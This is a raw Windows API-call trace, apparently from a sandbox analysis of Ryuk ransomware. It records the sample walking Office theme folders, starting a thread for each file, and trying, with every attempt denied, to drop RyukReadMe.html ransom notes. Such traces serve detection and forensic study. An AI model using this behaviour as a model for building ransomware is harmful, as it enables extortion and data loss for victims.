	[0169.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718
	[0169.205] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.206] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0169.206] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c
	[0169.209] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.210] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0169.210] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720
	[0169.212] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.213] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0169.213] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0169.214] SetLastError (dwErrCode=0x0) 
	[0169.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.214] GetLastError () returned 0x5
	[0169.214] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.214] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.214] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0169.214] SetLastError (dwErrCode=0x0) 
	[0169.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.215] GetLastError () returned 0x5
	[0169.215] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.215] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0169.215] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.215] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1
	[0169.216] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724
	[0169.217] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.218] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1
	[0169.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728
	[0169.220] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.221] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0169.221] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c
	[0169.224] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.225] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0169.225] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730
	[0169.227] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.227] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0169.228] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0169.228] SetLastError (dwErrCode=0x0) 
	[0169.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.228] GetLastError () returned 0x5
	[0169.228] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.228] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.228] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1
	[0169.228] SetLastError (dwErrCode=0x0) 
	[0169.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.229] GetLastError () returned 0x5
	[0169.229] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0169.231] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.231] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1
	[0169.231] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734
	[0169.233] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.234] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1
	[0169.234] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738
	[0169.237] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.238] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0169.238] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c
	[0169.335] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.336] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0169.336] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740
	[0169.339] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.339] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0169.339] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0169.340] SetLastError (dwErrCode=0x0) 
	[0169.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.340] GetLastError () returned 0x5
	[0169.340] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.340] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.340] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0169.340] SetLastError (dwErrCode=0x0) 
	[0169.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.341] GetLastError () returned 0x5
	[0169.341] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0169.359] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.359] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1
	[0169.359] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744
	[0169.364] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.365] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x8e, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1
	[0169.365] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748
	[0169.368] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.368] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0169.369] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c
	[0169.463] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.464] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0169.464] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750
	[0169.466] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.467] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0169.467] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0169.746] SetLastError (dwErrCode=0x0) 
